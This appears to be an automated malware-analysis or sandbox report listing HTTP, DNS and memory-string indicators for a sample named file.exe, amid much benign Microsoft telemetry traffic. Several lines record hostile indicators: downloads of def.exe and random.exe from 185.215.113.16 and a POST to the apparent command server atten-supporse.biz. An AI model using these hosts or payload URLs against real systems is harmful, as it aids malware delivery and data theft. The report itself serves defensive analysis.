Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000002.3047443414.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3046406595.000000000150B000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2973324944.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.3047443414.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2973324944.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: file.exe, 00000000.00000002.3047443414.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3045108898.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2973324944.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2763586824.00000000019D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2846964167.00000000019D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2759654973.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_130.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2674736216.000000000617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2597930639.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598072119.0000000006186000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2597863853.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_109.7.dr, chromecache_122.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_130.7.dr, chromecache_131.7.dr, chromecache_95.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
